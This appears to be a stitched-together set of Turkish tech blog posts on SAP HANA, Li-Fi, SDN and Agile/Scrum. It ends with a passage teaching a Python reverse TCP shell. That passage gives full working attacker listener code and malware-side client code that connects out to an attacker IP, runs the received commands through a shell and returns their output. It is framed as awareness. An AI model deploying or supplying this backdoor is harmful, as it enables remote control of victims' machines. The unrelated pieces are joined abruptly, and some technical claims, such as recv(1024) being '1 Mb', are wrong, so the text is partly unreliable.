Sonuç olarak günümüzde başarılı olmak için büyük veriyi ışık hızında işlemek ve onlarla doğru tahminler yapmak gerekiyor. Ayrıca günümüz kullanıcıları güncel hayatta olduğu gibi iş hayatında da basit ve hızlı uygulamalar istiyor. İşte bu noktada SAP HANA ile sizin tüm bu ihtiyaçlarınızı karşılıyor ve sizin dijital dönüşümünüze çok büyük bir katkı sunuyor. Bu nedenle insanların artık  “SAP HANA’ya geçmeli miyim?” yerine “Nasıl geçmeliyim?” sorusunu düşünmesi gerekiyor.

Nikola Tesla’nın 1897 yılında patentini alarak baslattıgı ve 1899 yılında ilk basarılı deneyini yapmasıyla ortaya cıkan akım “Kablosuz Elektrik İletimi”.

Dr. Tesla, 1899 yılında 50Km uzaklıkda bulunan 200 adet, 10Kw akkor ampulü kablosuz olarak yakmayı basarmıstı. Bu deney zaman içerisinde tekrarlanmaya çalışılsa da malesef ki mümkün olmadı. Zaman içerisinde parallel deneyler ve ilerleyen Teknoloji bizi yeni filizlenen, özünde aynı fakat teoride farklı bir teknolojiye götürüyor, Bunun adı ise Li-Fi.

Enerjiyi farklı bir enerjiye dönüştürebiliyoruz, örnegin hareket enerjisiyle elektrik üretmek gibi peki elektriği ışığa yada ışınıma dönüştürebilir miyiz yada veriyi ışınım ile aktarabilir miyiz?

Teoride elektrik kablo haricinde iki yöntem ile aktarılır;

– İndüksiyon; bu metot elektrostatik indüksiyon ve elektrodinamik indüksiyon olarak ikiye ayrılır.
– Işınım; lazer ile iletim ve mikrodalga yöntemi olarak ikiye ayrılır.

Peki Wi-Fi neydi ki Lİ-Wi ne olsun ?

Bir elektromanyetik alan içersinde ki cihazların data aktarımı için kullandıkları osi modelinde layer iki de yer alan bir teknolojidir.

Prensible Li-Fi teknolojisi size bunu ampullerin içine yerlestirilen bir çip ile ışıga dönüştürme gücü veriyor.

Li-Fi teknolojisi temelde Işınım yöntemini referans almıstır. Evlerimizi, ofislerimizi aydınlatmak için kullandıgımız ampulleri kullanarak veriyi ışık ile aktarmak temel amac oluyor, bu amaca hitaben Edinburgh Üniversitesi’nden Harald Haas tarafından 2011’de icat edilen Li-Fi, ışık üzerinden VLC kullanarak (Görülebilir Işık İletişimi/Visible Light Connection) veri transferi yapmaya yarıyor. Laboratuar ortamında saniyede 224 GB hıza ulaşılabilmis. Empati kurabilmeniz için saniyede 18 DVD film demek.

2013 yılında Şanghay Fudan Üniversitesi’nden Profesör Chi Nan bu teknolojinin daha emekleme seviyesinde oldugunu fakat 1W ampul ile saniyede 150Mbit hız ile 4 bilgisayarın baglanabilecegini söylüyor ve ekliyor daha yolun başındayız.

2013 yılında üzerinde çalışan firma sayısı 2 ile sınırlıyken 2015 yılında denemeler yapan firma sayısı hatırı sayılır bir sekilde attıgına göre belki de yakında evlerimizde her ampul yanacaktır. Sönmeyen bir aydınlık, peki nasıl uyuyacagız J

Birazda temel farklardan bahsedelim;

Wifi ile aktarımda sinyaller duvarların ötesine geçerken Li-Fi ile bu mümkün görünmüyor. Zira ışıklar söner yada kesilirse sahne biter. Bunu bir iyi bir kötü yanı var iyi yanı her ampul aydınlattgı alana data transferi yapabilir, komşularımız için kötü haber! artık bedava internet yok . J Data transfer hızımız wifi’a oranla ortalama 100 kat daha hızlı bir hale gelmiş olması gayet iyi bir artı fakat, tam film indiriken şakacı bir arkadasımız ısıkları kapatrısa film sona erdi demektir.

Özetle ışık iletimi ile çalışmasından dolayı, alıcı ve verici arasına ışıgı kesen bir obje girdiğinde butun iletim kesiliyor. Bu şekilde ilerlersek gelecegimizin resmi altta ki olabilir mi?

Bulut mimarilerinin artmasıyla datacenter mimarilerimiz, “eskilerin ve yenilerin harmanı” noktasına geldiği aşikar. Örneğin; bir tarafta 2000lerin mimarilerinde kullanılan hardware switchler, firewallar ve routerlar diğer tarafta ise bu switchleri kendi üzerinde sanallastırmıs sanal sunucu Çözümleri…

Bana göre SDN baslangıcı tamamen sanal sunucularının suçudur zira switchlerin sanal olabilecegini kanıtladırlar ve artık sadece bir adım daha cesaretle butun datacenterı bir yazılıma teslim edebilir hale geldik.

2005 yılında geliştirilmeye başlayan Yazılım Tanımlı Ağlar (SDN – Software defined networking), 30 milyar dolarlık ağ piyasası için henüz oldukça küçük bir piyasa oluşturan SDN’in yıllık yarattığı iş hacmi yaklaşık 300 milyon dolar civarında. IDC rakamlarına göre, önümüzdeki 3 yıl içerisinde SDN piyasası yılda 3,7 milyar dolar gelir yaratacak bir seviyeye gelebilir. Bu sebeple dev şirketlerin birçok satın almayla SDN konusunda yol almaya çalıştığı görülüyor.

Peki nasıl çalışır bu SDN?

Temel mantıkda iki donanıma ihtiyac duyar Yazılım ve ASIC, Yazılım kısmına controller diye biliriz ki butun kurallar ve butun mimari bunun üzerinde durur. ASIC kısmı ise bu dataları toplayacak uc kutulardır. SDN mimarileri hibrit kurulabilecegi gibi aynı zaman da bagımsızda kurulabilir.

Örneğin 250 sunucu ile çalışan bir datacenter ve bağlamında çalışna router, swtich ve firewall düşünün. Mühendislerimiz hepsinin ayrı ayrı konfügrasyonları ve her bir ekipman grubu için ayrı yetkinliklerle donatılmış mühendis takımları düşünün… Ne kadar büyük bir yapı!

Peki bu yapıdaki 250 sunucu için ayrı kabinetler, bu kabinetler için ayrı güç üniteleri ve ayrı izleme mimarileri ve yine bütün bunlar için ayrı ayrı maileyetler ve yetkinlikler…

Bulut mimarileri düşüncesinde önce ; 250 ayrı sunucuyu tek bir sunucu altında toplayarak hepsinin tek bir noktadan yönetilmesi düşüncenin baslangıç aşaması olarak düşünülebilir. Bu yaklasım bize Vmware ve Azure gibi farklı mimarilerin üretilmesini sagladı. Şu sıralarda gördüğümüz büyük yapılananmaların (örneğin Amazon gibi ) tamamının, düşük bütceli yatırımlar ve yetkinliklerle çok daha fazla bütce gerektiren işlerin üstesinden gelinebilecegini kanıtladı.

Sadece bu düşüncenin basit bir alanine oluşturan sunucu sanallaştırma sayesinde hatrı sayılır şekilde ağ tarafında bile tasaruffa gidildi. Peşi sıra gelen düşünce ise artık bütçeleri yüksek sayılan ağ ekipmanlarının bu noktlara getirebileceğiydi. Peki böye bir yapıyı hali hazırda ki switch, router, firewall düzenği ile yapılması gerekirse ortaya cıkan bütce nasıl düşürülebilir. Işte tam bu noktada SDN mimarisi devreye giriyor. Hem Microsoft hem de VMware bu noktada farklı büyük üreticiler ile gelistirdikleri projelerle adından sıkca söz ettiriyor.

Prensipde ukela bir tavırla “bizim zaten switchlerimiz var, neden fiziksel bir switch yapısına ihtiyac duyalım” düşüncesi ile iki mimarininde içinde barındırdığı “software switch” mimarileri, fiziksel olarak firewall yada routerlara baglanma ihityacı öne atıldı. İhtiyac tekrar FİZİKSEL kelimesine takıldıgından, bütün software switchlerin baglanabileceği ve bu bağlantıyı anlayabilecek bir mimarinin bulunmadıgı düşünüldü. Bu noktada düşük bütceli ASIC denen cihazlar devreye giriyor ve bu ASIC denen materyalleri kontrol edebilecek, gerekli bütün kuralları ve yönetimsel ihtiyacları üstlerinde barındırabilecek düzenek olarak da SOFTWARE adı verilen ikinci bir material devreye girmiş oluyor.

Örneklendirecek olursak fiziksel katmanda L2 switchlerin yerini, hem L2 hemde L3/L4 çalışacak ASICler konumlandırıldıgında kontrol mekanizması olarak da su anda vâr olan Firewalların devreye girmesi aşikar bir gerçek olacaktır. Tabi ki bir farklarla artık L7 cihazlarımız ASIClerin dilinden anlayabilcektir.

İncelenen çalışmalar doğruldusunda örnek çalışmalar;

Yazımızı çok uzun tutmamak adına bu noktada genel bilgiler ile son veriyoruz. Daha detaylı incelemek adına merakı olan okuycularımızı cisco meraki (https://meraki.cisco.com/) sitesinden detaylı incelemeler yapmaya davet ediyoruz.

Agile prensibi veya manifestosu yazılım dünyası için uyarlanmaya başlaması üzerinden 15 yıl geçti ve bu süre içerisinde çok daha sabit ve verimli bir hal aldı.

Türkiye’de bu prensip veya yaklaşım uzun zaman acil yazılım geliştirme olarak kullanılsa da zamanla yöntemlerin çıktısı itibariyle ilgili yöntemlerin kullanılması yaygınlaşıyor. Prensiplerin en önemli kısmı, işi yapan yazılım geliştirme ekibini motive tutmanın tek kaynağı açıklık ve dürüstlüğü birinci sıraya almak. Ekip ruhu, motivasyonu ve işlerin yüksek verimlilikte yürümesinin en önemli sebebi oluyor.

Scrum Agile yönteminin uygulama şekillerinden en popüler ve kullanışlı olanı, burada en iyi yöntem budur veya diğerlerini uygulayanlar yanlıştır gibi bir çıkarım yapmak doğru olmaz, her şirketin veya uygulamanın ihtiyacı farklı olabilir. Örneğin devlet dairesinde çalışan memurlar için Waterfall modeli daha uygundur. Çalışanların yaşam tarzı ve olaylara bakış akışı Agile manifestosu ve Scrum yöntemleri ile doğrudan orantılıdır.

Bir şirket veya grup bu gibi yapılara geçmek istiyorsa, IK sistemi, işe alım süreci ve şirket içerisindeki organizasyon yapısı ve olaylara bakış açısı bu felsefeyle ilişkili olmalıdır aksi halde çelişkili durumlarda ekipte yaşanan birlik ve ruh enerjisi düşerek başarısız projelerin çıkmasına veya metodun tamamen karışmasına neden olacaktır.

Agile Metodu

Acile gittim serum verdiler!

Yazılım süreçlerinin kötü gidişinden sonra hadi Agile yapalım hem de Scrum ile kullanalım gibi ifade ve düşüncelerin başarısız olma olasılığı yüksektir, bunu belirleyecek en büyük etmen ekibiniz ve yönetimin samimiyeti olduğundan, ekip kısmına özellikle dikkat edilmesi gerekir.
Bölünen yazılımcılar, aralara sokulan işler, yöntemde yapılan değişiklikler ve ekip içerisi etkileşime verilebilecek zarardan kaçınılmalıdır.

Aksi halde ekibin bu konuda tepkisi Pulp Fiction’dan geliyor,

Say Agile One More Time

Haka, Yeni Zelenda’da bir dönem düşmanı korkutmak için kullanılan dans ama şimdilerde Spor öncesi takım ruhunu göstermek ve karşı takıma korku salmak için uygulanıyor. Açıkçası birkaç örneğini izledim ve ürktüm, her sabah Scrum toplarına Haka dansı ile başlamanız gerekmiyor ama takım ruhu açısından aşağıdaki kararlılığa ve birlikteliğe bakmakta fayda var.

Haka Dansı

Bu yazımda sizlere python ile reverse TCP shell yönteminden ve bir malware’in sisteme bulaştığı zaman  saldırgana nasıl backdoor (arka kapı) açtığından bahsedip, kod bloğumuz içinde yer alacak  satırlarları açıklayacağım. Yazımızın sonunda ise farkındalık oluşturmak adına birkaç linux ve windows komutundan bahsedeceğim.

Günümüzde  gerek network katmanında gerekse host veya server katmanında dışarıdan gelebilecek bağlantılar için firewall’larda port kısıtlamaları son derece önem gösterilerek yapılmaktadır. Server üzerinde istenilmeyen servislerin aktif edilmeyerek socket açmaması, son kullanıcı bilgisayarlarına dışarıdan gelen tüm bağlantıların kapatılması, alınan önlemlerden bir kısmı diyebiliriz. Bunca güvenlik önlemi alınırken saldırganlarda boş durmadı ve “ biz sisteme sızamıyorsak onlar bizim ayağımıza gelsin” yöntemini geliştirdiler. Peki bu nasıl oluyor ? Bunun birçok yöntemi var, server sistemlerde kullanılan uygulamanın zaafiyeti olmasından kaynaklanan bir açıktan tutun bir malware’in sisteme bulaşmasına ve bu zararlı yazılımın saldırgana backdoor ile bağlanmasını sağlamaya kadar gidiyor. Buradaki kilit kelime “ socket ”.

Nedir bu socket ?;  Network üzerinde çalışmasını istediğiniz bir uygulama veya servis olduğu zaman ethernet kartınızın ip adresi ile uygulamanın çalışması için verilen port bilgisi birleşir (socket ) ve bu ikili uygulamanıza gelecek istekleri karşılamak için dışarıya bağlantı açar. İnternet üzerinden bağlandığınız web sitelerini buna örnek gösterebiliriz. Browser’ınıza bir site adresi yazdığınızda “www.cozumpark.com:80” diye çalışır. Siz her ne kadar “80” portunu görmesenizde(80 haricinde görürsünüz) çözümpark server’larına bu istek,  “ip:port” isteği olarak gider ve çözümpark server üzerinde çalışan IIS veya Apache socket’in karşılığı olan uygulamayı kullanıcıya döndürür (Server tarafında bu socket açıksa).

import socket #Socket oluşturmak için kullandığımız modül
port=6161 #Saldırganın dinleyeceği port adresi
ip="192.168.0.34" #Saldırgan'ın dış dünya ile bağlantısını sağlayan IP adresi
def baglanti():
   Socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   Socket.bind((ip,port))
   Socket.listen(1)
   socketaddr,ipaddr= Socket.accept()
   print 'Baglanti gerceklesti',ipaddr

   while True:
       komut= raw_input("Shell> ")
       if 'cikis' in komut:
           socketaddr.send('cikis')
           socketaddr.close()
           break
       else:
           socketaddr.send(komut)
           print socketaddr.recv(1024)
baglanti()

Görüldüğü üzere server-client mimarisi bir uygulama yazıyorsanız, python’da socket kütüphanesini kullanıyorsunuz. oluşturduğumuz fonksiyonu açıklarsak;

Socket=socket.socket()  ile  yeni bir socket oluşturduk

socket.AF_INET ile çağırarak IPv4  model bir socket olacağın belirttik.

socket.SOCK_STREAM ile TCP temelli bir haberleşme olacağını belirttik(SOCK_DGRAM udp için)

Socket.bind((ip,port)) hatırlarsanız socket tanımını yaparken hep, ip:port ikilisi diye bahsetmiştik. İşte burada da oluşturduğumuz Socket’e ip:port bilgisini atadık ve çalıştığı makinada(saldırgan makina) interface’in IP ve hangi port adresini dinleyeceğini söyledik.”0.0.0.0″ yaparsanız üzerindeki tüm ip almış interface’leri dinler.

Socket.listen(1)  Aynı anda kaç bağlantıyı dinleyeceğini belirttik.

socketaddr,ipaddrr=Socket.accept()  oluşturduğumuz socket’e gelecek bağlantıları kabul etmek için accept()’i çağardık ve client tarafından açtığımız socket’e bağlantı geldiği  zaman size iki liste elemanı döndürür, karşı tarafla oluşan socket objesini ve bağlanan makinanın ipaddressi:port bilgisi

while döngüsünde, bağlantı oluştuğu zaman, raw_input() ile saldırgandan komut girmesini bekliyoruz. Girilen bu komutda “cikis” adli bir kelime geçiyorsa socket’i kapatmasını “socketaddr.close()”  yani bağlantıyı sonlandırmasını, geçmiyorsa da girilen komutu, oluşan  bağlantı socket’inde  “socketaddr.send(komut) ” yardımı ile karşı tarafa göndermesini(malware yüklü makina).

print socketaddr.recv(1024) TCP bir bağlantı olduğu için gönderdiğimiz komuta karşılık gelen paketi’in 1 Mb lık değerini ekrana yazıyoruz.

baglanti() komutu ilede fonksiyonumuzu çağarıyoruz yani çalıştırıyoruz.

Gelelim şimdi malware yüklü veya client tarafına.

import socket
import subprocess
port=6161
ip="192.168.0.34"
def baglanti():
   Socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   Socket.connect((ip,port))
   while True:
       komut = Socket.recv(1024)

       if 'cikis' in komut:
           Socket.close()
           break
       else:
           CMD=subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
           Socket.send(CMD.stdout.read())
           Socket.send(CMD.stderr.read())
baglanti()

Bir önceki komut dizinimizde detaylı olarak python’da socket oluşturmayı gösterdiğim için burada fazla detaya girmiyorum.

subprocess modülü alt işlemler oluşturmanıza (bir işlem çalışıyorken aynı anda başka bir işlemi alt işlem olarak çalıştırmanıza) ve bu işlemin sonucunda  dönen girdi/çıktı/hata  değerlerini yöneterek PIPE ile bağlamanızı sağlar.

Socket.connect((ip,port)) ile saldırgan makinamıza bağlanma talebi yolladık,

komut=Socket.recv(1024) bir önceki komut dizinimizde saldırganın raw_input ile gönderdiği komutu, komut adlı değişkenimize atıyoruz ve komut içinde cikis yazıyorsa(saldırgan bu komutu yollamıssa) socket’i sonlandırıyoruz(sürekli açık kalıp, bir sonraki aşamada socket kullanılıyor demesin diye).

CMD.subprocess.Popen(komut, shell= True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) kullanmamızın nedeni bir üst işlem ile aynı anda çalışacağını belirttik ve (komut) adlı değişkenimizi argüman olarak çağarıp, shell=True diyerek shell’i çağardık ve argümanımızı buraya yazdık. Normalde shell değerini injection ataklara karşı false yapmamızı önerirler ama bizim işimiz zaten bu